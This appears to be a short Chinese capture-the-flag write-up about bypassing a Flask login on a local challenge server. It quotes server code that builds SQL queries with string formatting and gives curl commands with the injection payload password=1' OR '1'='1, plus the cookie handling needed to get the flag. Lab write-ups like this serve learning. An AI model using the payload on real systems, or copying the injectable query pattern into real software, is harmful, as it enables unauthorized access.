碰到一个问题,感觉自己绕过认证成功了,但是总是没有获得flag,记录一下。
使用的命令:
curl -L -d "username=admin" -d "password=1' OR '1'='1" http://challenge.localhost:8080
首先,让我们看看服务器是如何处理POST请求的:
@app.route("/", methods=["POST"])
def challenge_post():
username = flask.request.form.get("username")
password = flask.request.form.get("password")
# ...
try:
query = f"SELECT rowid, * FROM users WHERE username = '{username}' AND password = '{password}'"
user = db.execute(query).fetchone()
except sqlite3.Error as e:
flask.abort(500, f"Query: {query}\nError: {e}")
if not user:
flask.abort(403, "Invalid username or password")
flask.session["user"] = username
return flask.redirect(flask.request.path)
这里的关键点是:
- 从请求的表单数据中获取username和password
- 构造SQL查询
- 如果查询返回了一个用户,就将username存入session,然后重定向到同一个路径
现在让我们看看GET请求的处理:
@app.route("/", methods=["GET"])
def challenge_get():
if not (username := flask.session.get("user", None)):
page = "<html><body>Welcome to the login service! Please log in as admin to get the flag."
else:
page = f"<html><body>Hello, {username}!"
if username == "admin":
page += "<br>Here is your flag: " + open("/flag").read()
# ...
这里的关键是:
- 从session中获取user
- 如果user不存在,显示欢迎信息
- 如果user存在,打招呼
- 如果user是"admin",显示flag
根据这些信息,问题可能出在:
- POST请求后,没有再次发送GET请求。服务器在POST请求中设置session,但只在GET请求中检查session并返回flag。
故通过以下方式解决:
1.发送POST请求进行SQL注入:
curl -X POST -d "username=admin" -d "password=1' OR '1'='1" -c cookies.txt http://challenge.localhost:8080
2.发送GET请求获取flag:
curl -b cookies.txt http://challenge.localhost:8080